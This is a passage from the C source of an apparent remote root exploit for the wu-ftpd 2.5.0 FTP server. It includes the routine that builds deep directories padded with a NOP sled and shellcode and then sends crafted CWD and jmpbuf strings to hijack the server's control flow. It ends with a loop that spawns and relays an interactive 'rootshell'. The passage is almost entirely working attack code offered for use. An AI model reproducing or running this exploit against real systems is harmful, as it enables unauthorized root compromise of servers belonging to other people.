  1096.     free (hostinf.pwd);
  1097.     close (fd);
  1098.  
  1099.     printf ("%s\n", C_NORM);
  1100.  
  1101.     exit (EXIT_SUCCESS);
  1102. }
  1103.  
  1104. /* x2port
  1105.  *
  1106.  * like atoi, but with getservbyname if atoi() fails
  1107.  *
  1108.  * return port
  1109.  */
  1110. int
  1111. x2port (const char *smtn)
  1112. {
  1113.     struct servent    *serv;
  1114.         int        port;
  1115.  
  1116.     port = atoi (smtn);
  1117.     if (port == 0) {
  1118.         serv = getservbyname (smtn, "tcp");
  1119.         if (serv != NULL)
  1120.             port = htons (serv->s_port);
  1121.         }
  1122.  
  1123.     return (port);
  1124. }
  1125.  
  1126. /* int2char
  1127.  *
  1128.  * converts an integer to 4byte char *
  1129.  *
  1130.  * return port
  1131.  */
  1132. char    int2char_tmp[8];
  1133. char *
  1134. int2char (int addr)
  1135. {
  1136.     bzero(&int2char_tmp, 8);
  1137.     int2char_tmp[0] = (addr & 0x000000ff);
  1138.     int2char_tmp[1] = (addr & 0x0000ff00) >> 8;
  1139.     int2char_tmp[2] = (addr & 0x00ff0000) >> 16;
  1140.     int2char_tmp[3] = (addr & 0xff000000) >> 24;
  1141.     int2char_tmp[4] = 0;
  1142.  
  1143.     return (int2char_tmp);
  1144. }
  1145.  
  1146. /* wuftpd_250_sploitit
  1147.  *
  1148.  * tries to exploit wuftpd 2.5.0, after all preparation work is done.
  1149.  *
  1150.  * return 0 on error
  1151.  * return 1 on success
  1152.  */
  1153. int
  1154. wuftpd_250_sploitit (void)
  1155. {
  1156.     int    shelloff,
  1157.     times,
  1158.     fill;
  1159.     int start_writing_to_errcatch,
  1160.     argvlen,
  1161.     behind_errcatch;
  1162.     int    i, n;
  1163.     char string[2048];
  1164.  
  1165.     argvlen = strlen ("ftpd: ");
  1166.     argvlen += strlen (tesopt.rev);
  1167.     argvlen += strlen (": ");
  1168.     argvlen += strlen (tesopt.user);
  1169.     argvlen += strlen (": ");
  1170.  
  1171.     if (strncmp ("anonymous", tesopt.user, 9) == 0)
  1172.            argvlen += strlen (tesopt.pass) + 1;
  1173.  
  1174.     times = (sptr->maxpathlen-hostinf.pwdlen) / (tesopt.dirlen + 1);
  1175.  
  1176.     fill = sptr->maxpathlen-hostinf.pwdlen - (tesopt.dirlen + 1) * times;
  1177.  
  1178.     if (debug > 0) {
  1179.         printf ("CWD %d + (dirlen %d * %d times) + fill %d = %d\n", 
  1180.             hostinf.pwdlen, tesopt.dirlen, times, fill, sptr->maxpathlen);
  1181.     }
  1182.  
  1183.     if (strlen (shellcode) > (tesopt.dirlen - 40))
  1184.     err(0, "shellcode too big, edit the source to use less padding,"
  1185.         "\nhmm.. this shouldn't have happened with LaM3rZ shellcode!");
  1186.  
  1187.     /* let's try to hit the middle of our 0x90 pad */
  1188.     shelloff = sptr->mapped_path + hostinf.pwdlen 
  1189.                 + ( (tesopt.dirlen - strlen(shellcode)) / 2);
  1190.  
  1191.     if (debug > 0)
  1192.     printf ("will try to longjmp to 0x%x\n", shelloff);
  1193.  
  1194.     start_writing_to_errcatch = sptr->errcatch - argvlen;
  1195.     behind_errcatch = sptr->errcatch + (6 * 4) + 2 + 8;
  1196.  
  1197.     if (debug > 0) {
  1198.     printf ("errcatch(0x%x) - argvlen(%d) = start 0x%x - end 0x%x\n", 
  1199.         sptr->errcatch, argvlen, start_writing_to_errcatch, behind_errcatch);
  1200.     }
  1201.  
  1202.     memset (string, 'A', tesopt.dirlen);
  1203.  
  1204.     if (debug<3) /* 0x0e/^N in shellcode -> not meant for humans. */
  1205.     disp = 0;
  1206.     for (i = 0; i < times; i++) {
  1207.         switch (i) {
  1208.         case 0: memset (string, 0x90, tesopt.dirlen);
  1209.             memcpy (string+tesopt.dirlen-strlen(shellcode), 
  1210.                 shellcode, strlen (shellcode)); 
  1211.             break;
  1212.         case 1: memset (string, 0x90, tesopt.dirlen); break;
  1213.         default:
  1214.             break;
  1215.         }
  1216.  
  1217.         string[tesopt.dirlen] = 0;
  1218.         putserv ("MKD %s\n", string);
  1219.         getline ();
  1220.  
  1221.         putserv ("CWD %s\n", string);
  1222.         getline ();
  1223.     }
  1224.  
  1225.     getpwd ();
  1226.     disp = 1;
  1227.  
  1228.     if (debug > 0)
  1229.     printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen);
  1230.  
  1231.     if (fill != sptr->maxpathlen-hostinf.pwdlen)
  1232.     err (0, "Calculation wrong. Error!");
  1233.  
  1234.     if (fill > 506)
  1235.     err (0, "Aw.. fuck! My fill is waaaay to big!\n");
  1236.  
  1237.     /* onefile[0], onefile[1] and maybe pad_eax */
  1238.     fill += sptr->pad_eax ? 12 : 8;
  1239.  
  1240.     n = fill/4;
  1241.     string[0] = 0;
  1242.     for (i=0; i < n; i++)
  1243.     strcat(string, int2char(start_writing_to_errcatch));
  1244.     for (i=1; i < (fill - (n*4)); i++)
  1245.     strcat(string, "A");
  1246.  
  1247.     /* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */
  1248.     strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */
  1249.     strcat (string, int2char (behind_errcatch)); /* LastArgv */
  1250.  
  1251.     if (debug > 0)
  1252.         printf ("Sending final CWD\n");
  1253.  
  1254.     if (strlen (string) < 20)
  1255.     err (0, "cwd string too short.. check for 0x0's.\n");
  1256.  
  1257.     putserv ("CWD %s\n", string);
  1258.     getline ();
  1259.  
  1260. /************ jmpbuf ***********/
  1261.  
  1262.     if (debug > 0)
  1263.         printf ("Sending jmpbuf\n");
  1264.  
  1265.     string[0] = 0;
  1266.     for (i=0; i<8; i++) /* (sizeof(jmpbuf) = 24)+8.. */
  1267.         strcat (string, int2char (shelloff));
  1268.  
  1269.     if (strlen (string) != 32)
  1270.         err (0, "jmpbuf string too short.. check for 0x0's.\n");
  1271.  
  1272.     putserv ("%s\n", string);
  1273.  
  1274.     getline ();
  1275.  
  1276.     return (1);
  1277. }
  1278.  
  1279. /* shell
  1280.  *
  1281.  * provide a pseudo shell..
  1282.  *
  1283.  * return nothing
  1284.  */
  1285. void
  1286. shell (void)
  1287. {
  1288.     char    buf[5120];
  1289.     int    l;
  1290.     fd_set    rfds;
  1291.  
  1292.     printf("%sSpawning rootshell:%s\n", C_RED, C_NORM);
  1293.  
  1294.     while (1) {
  1295.         FD_SET (0, &rfds);
  1296.         FD_SET (fd, &rfds);
  1297.  
  1298.         select (fd+1, &rfds, NULL, NULL, NULL);
  1299.         if (FD_ISSET (0, &rfds)) {
  1300.             l = read (0, buf, sizeof (buf));
  1301.             if (l <= 0)
  1302.                 cleanup_and_exit ();
  1303.             xwrite (fd, buf, l);
  1304.         }
  1305.  
  1306.         if (FD_ISSET (fd, &rfds)) {
  1307.             l = read (fd, buf, sizeof (buf));
  1308.             if (l <= 0)
  1309.                 cleanup_and_exit ();
  1310.             xwrite (1, buf, l);
  1311.         }
  1312.     }
  1313. }
  1314.  
  1315. /* check_test_return
  1316.  *
  1317.  * Check if testcode sploiting was successfull.
  1318.  *
  1319.  * return 0 on failure
  1320.  * return 1 on success
  1321.  */
  1322.  
  1323. int check_test_return(char *what, int len) {
  1324.     char line[1024];
  1325.     int i, flags;
  1326.     fd_set rset;
  1327.     struct timeval  tv;
  1328.  
  1329.     printf("w8ing for testshellcode to respond...\n");
  1330.     flags = fcntl(fd, F_GETFL, 0);
  1331.     if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) < 0)
  1332.     err(1, "fcntl fucked up (testshellcode)");
  1333.  
  1334.     FD_ZERO(&rset);
  1335.     FD_SET(fd, &rset);
  1336.  
  1337.     tv.tv_sec = 10;
  1338.     tv.tv_usec = 0;
  1339.  
  1340.     if (!select(fd + 1, &rset, NULL, NULL, &tv))
  1341.     err(0, "select timed out(testshellcode)");
  1342.  
  1343.     i = read(fd, line, len);
  1344.     if (!strncmp(what, line, len)) {
  1345.     printf("%sSploit successfull!%s\n", C_RED, C_NORM);
  1346.     return(1);
  1347.     };
  1348.     printf("%sSploit not successfull!%s\n", C_RED, C_NORM);
  1349.     return(0);
  1350. }
  1351.  
  1352. int
  1353. main (int argc, char **argv)
  1354. {
  1355.     int i;
  1356.     title ();
  1357.  
  1358.     if (argc < 3)
  1359.         usage (argv[0]);
  1360.  
  1361.     signal (SIGINT, (void *) &sighandler);
  1362.     signal (SIGQUIT, (void *) &sighandler);
  1363.  
  1364.     parseargs (argc, argv);
  1365.  
  1366.     printf("Connecting...\n");
  1367.     connect_to_ftp ();
  1368.  
  1369.     log_into_ftp ();
  1370.     if (sptr->need_writable || tesopt.dirscanonly) {
  1371.             printf ("Logged in! Searching for a writable directory...\n");
  1372.             if (!recurse_writable())
  1373.                 err (0, "kurwa mac! no writable dir found\n");
  1374.     } else {
  1375.             printf ("Logged in!\n");
  1376.     }
  1377.  
  1378.     getpwd ();
  1379.     printf ("       %s is writable.. rock on!\n", hostinf.pwd);
  1380.  
  1381.     if (!tesopt.dirscanonly) {
  1382.             printf("Trying to sploit...\n");
  1383.             sptr->code();
  1384.             tesopt.testonly ? i = check_test_return("teso\n", 5) : shell();
  1385.             if (!i) 
  1386.             printf ("sploiting not successfull\n");
  1387.     }
  1388.  
  1389.     cleanup_and_exit();
  1390.     return (0); /* not reached */
  1391. }
  1392.